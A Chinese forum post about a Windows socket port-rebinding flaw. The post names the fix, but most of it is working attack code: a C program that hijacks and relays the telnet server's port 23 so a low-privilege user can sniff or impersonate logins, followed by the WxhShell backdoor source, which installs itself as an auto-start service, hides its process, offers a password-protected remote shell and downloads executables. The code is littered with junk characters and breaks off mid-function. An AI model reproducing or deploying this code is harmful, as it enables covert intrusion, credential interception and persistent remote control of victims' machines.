-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: odsFgh s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )&Oc7\J, \ph.c*c saddr.sin_family = AF_INET; u]};QR =O![>Fu5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); t82'K@sq lGl'A}]#$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OegeZV ~0a5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6(Pan% M
9t7y 这意味着什么?意味着可以进行如下的攻击: b.&WW r8J 7zTD& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #Ub_m@@4 hTr5Q33y> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7{L4a\JzT T)rE#"_]{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L^3&
.$%p0Yx+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,erf{"Nh 0jf6 z-4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \ ;npdFy ,vJt!}} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :TH cI;PG8 tcuwGs>_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U]iI8c rp||#v0l!w #include XH"+oW #include /x6p #include - {QU>`2 #include l@4_D;b3o" DWORD WINAPI ClientThread(LPVOID lpParam); //q(v,D%Q int main() ;Y$>WKsV { &12KpEyf WORD wVersionRequested; YAr6cl DWORD ret; 8Xotly WSADATA wsaData; QF#w$%7 BOOL val; 3@>F-N SOCKADDR_IN saddr; `6D?te SOCKADDR_IN scaddr; dAh.I3 int err; cz>,sz~i SOCKET s; z-5`6aE9< SOCKET sc; tnRf!A;m int caddsize; oJz2-PmX HANDLE mt; n|w+08c" DWORD tid; 1F^Q* t{ wVersionRequested = MAKEWORD( 2, 2 ); 9-KhJq% err = WSAStartup( wVersionRequested, &wsaData ); B `~EA] d if ( err != 0 ) { ^Xk!wJ printf("error!WSAStartup failed!\n"); I&;>(@K return -1; .f\LzZ-I: } .Pc>1#z&[ saddr.sin_family = AF_INET; t4WB^dHYp 5p;AON //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'o>)E> M"~jNe| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;b$P*dSG} saddr.sin_port = htons(23); Dqx#i-L23 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x sryXex; { I`kfe`_ printf("error!socket failed!\n"); 9DxHdpOk return -1; `8:)? 0Ez } zfIo]M` val = TRUE; yn4T!r " //SO_REUSEADDR选项就是可以实现端口重绑定的 m[9.'@ye if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :
\+xXb{ { >XD?zF)6 printf("error!setsockopt failed!\n"); {3~VLdy return -1; ?\}Gi(VVE } {"y/;x/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e
w^(3& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [XfR`@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U
v2.Jo/Q ?[D3-4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F "@% 7xy { x84!/n^z ret=GetLastError(); -aoYoJ ' printf("error!bind failed!\n"); 4T@:_G2b return -1; _gvFs%J } iNO>'7s7 listen(s,2); 37#&:[w> while(1) _C?j\Wy { CdolZW-!" caddsize = sizeof(scaddr); SepjF //接受连接请求 K:PH:e sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TlqHj if(sc!=INVALID_SOCKET) IGdiIhH~2 { ^|]&"OaB
Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BQ@7^E[ if(mt==NULL) XH%L] { \iuR+I printf("Thread Creat Failed!\n"); lSj
gN~:z break; 7aG.?Ca% } "s2_X+4oY } tcD7OC:"6 CloseHandle(mt); ;FPx } Pf*6/7S: closesocket(s); b/SBQ"B% WSACleanup(); jk AjYR . return 0; zTz}H*U } `c`VIq?
DWORD WINAPI ClientThread(LPVOID lpParam) Ma YU%h0 { Kl1v^3\{ SOCKET ss = (SOCKET)lpParam; 7+O)AU{ SOCKET sc; ) `u17
{ unsigned char buf[4096]; KII{GDR] SOCKADDR_IN saddr; a:kAo0@":j long num; D31X {dJ DWORD val; VF%QM;I[Rc DWORD ret; !ifU}qFzK //如果是隐藏端口应用的话,可以在此处加一些判断 DeO-@4+qKd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ;Rrh$Ag saddr.sin_family = AF_INET; P}bIp+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LCF}Y{ saddr.sin_port = htons(23); j]u!;] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \Z-th,t { y7Po$ )8l printf("error!socket failed!\n"); 3uL
f0D return -1; o3J#hQrl } =7Ln&tZ val = 100; }0'=}BE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3]Z1kB { N5
ME_) ret = GetLastError(); L\:|95Yq return -1; VUb>{&F[ } q6zVu( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7CIN!vrC|1 { /x VHd ret = GetLastError(); @CprC]X return -1; aukcO;oG< } tpfgUZ{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z}W{ iD{ { 87 Z[0> printf("error!socket connect failed!\n"); LGP"S5V closesocket(sc); r$7. closesocket(ss); CSM"Kz` return -1; AIF?>wgq } { 3G while(1) v 6 ~9)\!j { 222 Y?3>@D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :4ryi&Y //如果是嗅探内容的话,可以再此处进行内容分析和记录 }:Z.g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M'*s5:i num = recv(ss,buf,4096,0); *ap,r&]#F if(num>0) (q)}`1d' send(sc,buf,num,0); 7]=&Q4e4 else if(num==0) z.vQ1~s break; C @(@n!o:! num = recv(sc,buf,4096,0); Z
3BwbH if(num>0) z@*E=B1L send(ss,buf,num,0); Kv_2=]H else if(num==0) `Os=cMR
break; bI):-2&s} } qmS9*me
{ closesocket(ss); mF4W4~" closesocket(sc); 0PzSp ] return 0 ; qu=~\t1[6 } Jo? LPR
\6 VB |?S|< %hB-$nE ========================================================== crmQn ^4\ -amo8V;2H 下边附上一个代码,,WXhSHELL \)PB p v{u3[c
========================================================== Z8v\>@?5R m#"_x{oa #include "stdafx.h" v%tjZ5x <Q[%:LD #include <stdio.h> 3Y#Q'r? #include <string.h> {FJMcO= #include <windows.h> qe]D4K8`Q3 #include <winsock2.h> Nr|Gw
@+ #include <winsvc.h> {^]qaQ[5N #include <urlmon.h> HQ-[k$d
W4 pb!2G/,.[ #pragma comment (lib, "Ws2_32.lib")
:~-: #pragma comment (lib, "urlmon.lib") >a;a8EA<O
f<o|5r #define MAX_USER 100 // 最大客户端连接数 35h|?eN_m! #define BUF_SOCK 200 // sock buffer `?VK(<w0q #define KEY_BUFF 255 // 输入 buffer Gb')a/ %bcf% 7 #define REBOOT 0 // 重启 P`tOL#UeZL #define SHUTDOWN 1 // 关机 H_xHoCLI c <TEA #define DEF_PORT 5000 // 监听端口 Hav &vV 7qC
/a
c #define REG_LEN 16 // 注册表键长度 ;qmnG3;Q #define SVC_LEN 80 // NT服务名长度 ;>,B(Xz4i qq)5)S // 从dll定义API ZflB<cI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s_^`t+5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |d0X1( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =dXHQU&Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )nd^@G^ lMv6QL\>' // wxhshell配置信息 \VPw3 struct WSCFG { 2dts}G int ws_port; // 监听端口 3M#x)cW char ws_passstr[REG_LEN]; // 口令 "&_+!TBg, int ws_autoins; // 安装标记, 1=yes 0=no M$x,B#b char ws_regname[REG_LEN]; // 注册表键名 >~g- char ws_svcname[REG_LEN]; // 服务名 r] /Ej!| char ws_svcdisp[SVC_LEN]; // 服务显示名 f2.=1)u. char ws_svcdesc[SVC_LEN]; // 服务描述信息 PqspoH
0OI char ws_passmsg[SVC_LEN]; // 密码输入提示信息 enk`I$Xx int ws_downexe; // 下载执行标记, 1=yes 0=no ch#)XomN char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 3MQHoxX char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WUS%4LL( _'p/8K5)= }; fR1LVLU
b>5*G1 // default Wxhshell configuration D;sG9Hky struct WSCFG wscfg={DEF_PORT, }$)~HmZw "xuhuanlingzhe", 4KH'S'eR 1, (-<hx~ "Wxhshell", wOH:'sk[" "Wxhshell", Q g/Rw4[ "WxhShell Service", gj|5"'g% "Wrsky Windows CmdShell Service", E8C8kH] "Please Input Your Password: ", (XK,g;RoEn 1, w,hm_aDq " http://www.wrsky.com/wxhshell.exe", gY+d[3N "Wxhshell.exe" $H*8H` }; u?V}pYX @@ j\OR // 消息定义模块 \p:)Cdn char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2K4Xu9-i:b char *msg_ws_prompt="\n\r? for help\n\r#>"; <v1H1'gv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; oVK?lQ~y char *msg_ws_ext="\n\rExit."; +*OAClt+] char *msg_ws_end="\n\rQuit."; z/#,L!Z3 char *msg_ws_boot="\n\rReboot..."; OX,em Ti char *msg_ws_poff="\n\rShutdown..."; %C%3c4+Oh char *msg_ws_down="\n\rSave to "; u.E>d9 H~*N:$C char *msg_ws_err="\n\rErr!"; Q``1^E' char *msg_ws_ok="\n\rOK!"; E2|M#Y ;$tdn?| char ExeFile[MAX_PATH]; @de ZZ int nUser = 0; j6s j 2D HANDLE handles[MAX_USER]; Z71_D int OsIsNt; {~&] V 2Xv) SERVICE_STATUS serviceStatus; Zl[EpXlZ SERVICE_STATUS_HANDLE hServiceStatusHandle; f0eQq;D$K PE.UNo>o // 函数声明 S))B^).0- int Install(void); vdXi'< int Uninstall(void); \HxF?i " int DownloadFile(char *sURL, SOCKET wsh); RZEq@q int Boot(int flag); zMepF]V void HideProc(void); a|TUH+| int GetOsVer(void); |keU+De int Wxhshell(SOCKET wsl); xM{[~Kh_x void TalkWithClient(void *cs); ,7$&gx>2& int CmdShell(SOCKET sock); }S"gZ6 int StartFromService(void); w#2apaz int StartWxhshell(LPSTR lpCmdLine); >'n[B AK
lra$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -Tvnd, VOID WINAPI NTServiceHandler( DWORD fdwControl ); |Ja5O em7L`, // 数据结构和表定义 pPxgjX SERVICE_TABLE_ENTRY DispatchTable[] = ZKW1HL ]m { 0aq{Y7sYU {wscfg.ws_svcname, NTServiceMain}, J+CGhk {NULL, NULL} N9ipw r'P };
p7+>]sqX !pfpT\i]N: // 自我安装 C!_=L?QT^ int Install(void) "[/W+&z[~ { (]k Q9}8 char svExeFile[MAX_PATH]; S#CaJ}M HKEY key; ?i_2ueVR strcpy(svExeFile,ExeFile); Vuy%7H ((?"2 }1r // 如果是win9x系统,修改注册表设为自启动 TlO=dLR7d if(!OsIsNt) { Obu 6k[BE. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =2*2$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;=0-B&+v RegCloseKey(key); P:J|![ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } A6z%|d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G;u 6p RegCloseKey(key); 3]iw3M return 0; ZT"vVX-)G } o^5UHFxTCB } g[y&GCKY!= } lhQMR(w^ else { Nnn~7 [6\O
<-? // 如果是NT以上系统,安装为系统服务 bs}SFT L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fx:vhEX if (schSCManager!=0) U4Zx1ieCKH { 1A93ol=
SC_HANDLE schService = CreateService MF$Dx| Tcj ( 2./z6jXW_ schSCManager, EWl9rF@I wscfg.ws_svcname, DZ`,QWuA wscfg.ws_svcdisp, |+~P; fG SERVICE_ALL_ACCESS, O*2{V]Y
@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iYa)*, SERVICE_AUTO_START, Lcg1X3$G SERVICE_ERROR_NORMAL, A[4HD!9= svExeFile, F" G+/c/L NULL, oGXcu?ft NULL, !9qw NULL, o8g]ho NULL, ]}S9KP NULL "1dpv\ ); &~<i"
W if (schService!=0) +pUYFDwFx { ^tyqc8& CloseServiceHandle(schService); H[R6 ?H@$F CloseServiceHandle(schSCManager); >!PM5%G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mE+=H]`.p strcat(svExeFile,wscfg.ws_svcname); PMiu " if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XYV`[,^h& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $v8T%'p+ RegCloseKey(key); 3]NKAPY return 0; '[[IalQ? } Us6~7L00 } *Qngx
CloseServiceHandle(schSCManager); %YuFw|wO } 0m4#{^Y } l7WZ" 6d /w5c:BH return 1; %} } yp
hd'Pu" @Rd`/S@ // 自我卸载 E)'T;% int Uninstall(void) uw>y*OLU+ { mmC MsBfL HKEY key; X#W6;?Z\ B|>eKI if(!OsIsNt) { I]#x0 ?D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SQ/}K8uZ RegDeleteValue(key,wscfg.ws_regname); '\pSUp RegCloseKey(key); 5:~ zlg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n>o=RQ2 RegDeleteValue(key,wscfg.ws_regname); qe uc^+P; RegCloseKey(key); 98|1K>C return 0; %@I= $8j } ip|l3m$ Mi } =m;cy0)) } HT_nxe`E else { %~<F7qB mt *Dx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5M%)*.Y
3[ if (schSCManager!=0) REOWSs$' { 1LmbXH]% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YRaF@?^Gn if (schService!=0) 2 I.Q-'@ { Q9g^'a if(DeleteService(schService)!=0) { BgsU:eKe CloseServiceHandle(schService);
tB0f+ wC CloseServiceHandle(schSCManager); M\08 7k return 0; w\JTMS$ } &61h*s CloseServiceHandle(schService); -9 |)O: } 4?`*#DPl CloseServiceHandle(schSCManager); @Y%i`}T%( } p13y`sU= } ^Y"|2 : o^d return 1; m7cG]a~a } fo;^Jg. m.yt?` // 从指定url下载文件 $B )jSxSy int DownloadFile(char *sURL, SOCKET wsh) %8KbVjn { cS",Bw\ HRESULT hr; 5n=~l[O char seps[]= "/"; wWJM./y char *token; -+Ox/>k char *file; ocj^mxh=O char myURL[MAX_PATH]; tY`%vI [ char myFILE[MAX_PATH]; ZjgfkZAS r#mH[|@W~ strcpy(myURL,sURL); G'iE`4`2 token=strtok(myURL,seps); tRR<4}4R while(token!=NULL) _]kw |[) { iT~ gt/K file=token; k~iA'E0- token=strtok(NULL,seps); jq[Q>"f
} .|LY /q\A 9'O@8KB_ GetCurrentDirectory(MAX_PATH,myFILE); \k%j strcat(myFILE, "\\"); RPTIDA)) strcat(myFILE, file); u0Opn=(_ send(wsh,myFILE,strlen(myFILE),0); 8J0#lu send(wsh,"...",3,0); &*qAB)** hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \lpvRZ\L&g if(hr==S_OK) 9!Bz)dJ3 return 0; LII4sf] else JF9r[% return 1; U;]h/3P *5" )3\/ } 5Noy~; 'DB'lP // 系统电源模块 ~#:R1~rh\e int Boot(int flag) :D { LHusy;<E[ HANDLE hToken; U1pwk[ TOKEN_PRIVILEGES tkp; pE]s>Ta (+9^)No if(OsIsNt) { o[k,{`M0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HA;G{[X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d?jzh1 tkp.PrivilegeCount = 1; ej]>*n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'Fa~l'G7X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cx+%lco! if(flag==REBOOT) { TxmKmZ u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iRI7x)^0"z return 0; 0PJ7o#}_{@ } {xQ(xy else { "tU,.U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *qw//W return 0; bP1]:^ x@W } ?_@Mg\Hc }
QjFE else { .10$n* if(flag==REBOOT) { 6hf6Z3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?[hkh8| return 0; 90
pt'Jg } ~=c[?: else { N'M+Z=!
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '8"$:y return 0; hWiBLip,z } Ehg(xK } i/q1> R?J=5tO return 1; `>\>'V<& } Kfs|KIQ>= ^r^) &] // win9x进程隐藏模块 O`'r:W void HideProc(void) 1y6{3AZm< { z5IdYF? c~n:xblv HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <):= mr7 if ( hKernel != NULL ) ;
Ne|H$N { Y2P%0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l#!6
tw+e? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +Am\jsq FreeLibrary(hKernel); f/%QMhM: } nCdxn#| Nr0}*8#j return; oz/Nx{bg } q,2 +\i eGlPi| // 获取操作系统版本 dW"=/UW int GetOsVer(void) 3W"l}.&ZJ" { 6e At`L[K. OSVERSIONINFO winfo; :eW`El winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .#}`r`/ GetVersionEx(&winfo); 94GF8P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LVxR*O return 1; 629#t`W\ else K|sx"u|? return 0; sB%QqFRP } vuNq7V*} NekPl/4 // 客户端句柄模块 |E9iG int Wxhshell(SOCKET wsl) -gy@sSfvkv { K_CE.8G&{ SOCKET wsh; iCh,7I,m struct sockaddr_in client; "DU1k6XC DWORD myID; okQ<_1e{ J=AF`[ while(nUser<MAX_USER) ?bH!|aW(H { ^mCKRWOP' int nSize=sizeof(client); \LQ54^eB wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q*8=^[x if(wsh==INVALID_SOCKET) return 1; u%I |o s] ynU20g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GilmJ2< if(handles[nUser]==0) Kz2s{y~? closesocket(wsh); s|o+
Im else 4~mmP.c nUser++; ^Qa!{9o[ } xHi.N*~D WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0XUWK@)P y6N }R return 0; hSF4-Vvb } _!Ir|j.A ;A;FR3=) // 关闭 socket "vN~7% void CloseIt(SOCKET wsh) hYEUiQ { .GOF0puiM closesocket(wsh); Zsx\GeE%:
nUser--; ])H[>.?K ExitThread(0); XPsRa[08WK } .|z8WF* Vs@H>97,G // 客户端请求句柄 J0O wzO void TalkWithClient(void *cs) xty)*$C> { w4(g]9^Q qB8R4wCf SOCKET wsh=(SOCKET)cs; dE]yb|Ld char pwd[SVC_LEN];
k;xIo(: char cmd[KEY_BUFF]; x{#W84 char chr[1]; k{-#2Qz int i,j; QeNN*@
='i k*uLjU while (nUser < MAX_USER) { 6Dz N.fz )HJ#|JpxC if(wscfg.ws_passstr) { u5E\wRn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n|AV7c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `T(T]^C98 //ZeroMemory(pwd,KEY_BUFF); ,)%$Zxng i=0; vG'I|OWg while(i<SVC_LEN) { b[os0D95 RgTrj // 设置超时 o%sx(g=q6 fd_set FdRead; XAw0Nn struct timeval TimeOut; xmNs<mz FD_ZERO(&FdRead); e]q(fPK FD_SET(wsh,&FdRead); 8m"jd+ TimeOut.tv_sec=8; '4]_~?&x TimeOut.tv_usec=0; =dDr:Y<@* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r0(* ]K:. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]o3K \zx$]|AQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |cIv&\ x pwd =chr[0]; 8c^Hfjr0 if(chr[0]==0xd || chr[0]==0xa) { ^< wn pwd=0; $BUm, break; s{dgUX } K0C3s i++; UNJAfr P } 1Zt>andBF \^]*T'>b // 如果是非法用户,关闭 socket ?`T-A\A= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^SC2k LI } q!4eVg* ;<N%D=;}@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T3,}CK#O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }C!g x6 :hFKmoy# while(1) { 3:"w"0[K3 %=`wN^3t2 ZeroMemory(cmd,KEY_BUFF); z[+Sb; g#b9xTGJ^ // 自动支持客户端 telnet标准 r2G38/K j=0; Df5!z \dx while(j<KEY_BUFF) { B&>z&!} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Qf. S{; cmd[j]=chr[0]; HvLx if(chr[0]==0xa || chr[0]==0xd) { A5?q&VS}p cmd[j]=0; 2wwJ>iR` break; O
8XHaVLg3 } CRs@x` 5ue j++; l?)!^}Qc } Kn,td:( 14z
?X% // 下载文件 9|NH5A"H. if(strstr(cmd,"http://")) { ?4cj"i send(wsh,msg_ws_down,strlen(msg_ws_down),0); \qz! v if(DownloadFile(cmd,wsh)) vo>i36 send(wsh,msg_ws_err,strlen(msg_ws_err),0); XJe}^k else 2KtK.2; 7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TXo`P_SE } kJK*wq]U6 else { Wn-'iD+9< kwUy^"O switch(cmd[0]) { gfJHB3@ L L?
.E
// 帮助 )=pa* case '?': { zvK'j"Wq= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D`R~d;U~ break; SFR<T } ,Q<mU4 // 安装 )fQ1U case 'i': { 'Y0h w if(Install()) G j^* send(wsh,msg_ws_err,strlen(msg_ws_err),0); lc\{47LwZ else aM+Am,n`@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B
*%ey? break; 0Ua&_D" } *Gul|Lp$<I // 卸载 ]-;MY@ case 'r': { spT$}F2n if(Uninstall()) ==AmL]* send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jq?Fi'2F% else |u]IOw&1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a:Nf+t break;
JKV&c=I } b/?)_pg // 显示 wxhshell 所在路径 0.)q5B` case 'p': { foUB/&Ee char svExeFile[MAX_PATH]; iDWM-Ytx strcpy(svExeFile,"\n\r"); CaC \\5wl strcat(svExeFile,ExeFile); $,zW0</P*l send(wsh,svExeFile,strlen(svExeFile),0); V1haAP[# break; z(Z7[#. } R@){=8%z // 重启 r
@}N6U~* case 'b': { C5g9Gg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !
(Q[[M if(Boot(REBOOT)) $0k7W?tu send(wsh,msg_ws_err,strlen(msg_ws_err),0); lffw
" else { X;n09 L`CB closesocket(wsh); 1,P\dGmu ExitThread(0); S~bhh& } C\4d.~C:w3 break; -^3uQa<zN^ } -lrcb/)Gz // 关机 k~F;G=P case 'd': {
nZ)E @ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^a<kp69qS if(Boot(SHUTDOWN)) U\(71= send(wsh,msg_ws_err,strlen(msg_ws_err),0); +NbiUCMX else { `hdN 6PgK closesocket(wsh); }?o4MiLB ExitThread(0); '{-Ic?F<P } EJ(36h break;
T%Bz >K } .yDGw Lry // 获取shell >qs/o$+t} case 's': { 1R;@v3 CmdShell(wsh); O>'tag closesocket(wsh); (%OZ `?` ExitThread(0); "j&'R#$&d break; bB>.dC } xS>vmnW // 退出 tW
a'[2L case 'x': { !nq`Py MR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'iTY? CloseIt(wsh); c8Q}m(bhWI break; Xmi~fie } qV;I<AM // 离开 9J?lNq case 'q': { /EG'I{oC send(wsh,msg_ws_end,strlen(msg_ws_end),0); hw.>HT|.N closesocket(wsh); bYoBJ
#UX WSACleanup(); 8
/%{xB^ exit(1); w51l;2$des break; !FD d5CS } 9ln=f= } y$9! rbL } 3H0B+F2XQ PfyJJAQ[ // 提示信息 `lQ;M?D if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K8Q3~bMf } P@f#DX
) } "}wO<O6[ v K[%cA" return; Ctn
4q'Q } z:$ibk4#h )P>/g* // shell模块句柄 }Z{FPW.QK int CmdShell(SOCKET sock) !l=)$RJKdD { YCQ$X STARTUPINFO si; (^(l=EN-< ZeroMemory(&si,sizeof(si)); >:4`y"0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jCXBp>9$M si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &q@brX<,= PROCESS_INFORMATION ProcessInfo; .6T0d
4,1 char cmdline[]="cmd"; %<x!mE x CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %1$#fxR return 0; P%H Dz } Fe4>G8uuwn ca,W:9#.xn // 自身启动模式 IRwtM'%0 int StartFromService(void) .izq}q*P { 0Sz[u\w typedef struct s5rD+g]E` { @"MQ6u G> DWORD ExitStatus; <e?Eva%t` DWORD PebBaseAddress; 8Y.9%@ DWORD AffinityMask; $XTtD UP@
DWORD BasePriority; jz![#-G ULONG UniqueProcessId; WubV?NX;EF ULONG InheritedFromUniqueProcessId; yW(|auq } PROCESS_BASIC_INFORMATION; b,YNCb]H 3F@P$4!#l PROCNTQSIP NtQueryInformationProcess; Eh ";irE &b`W<PAc?4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D%nd7
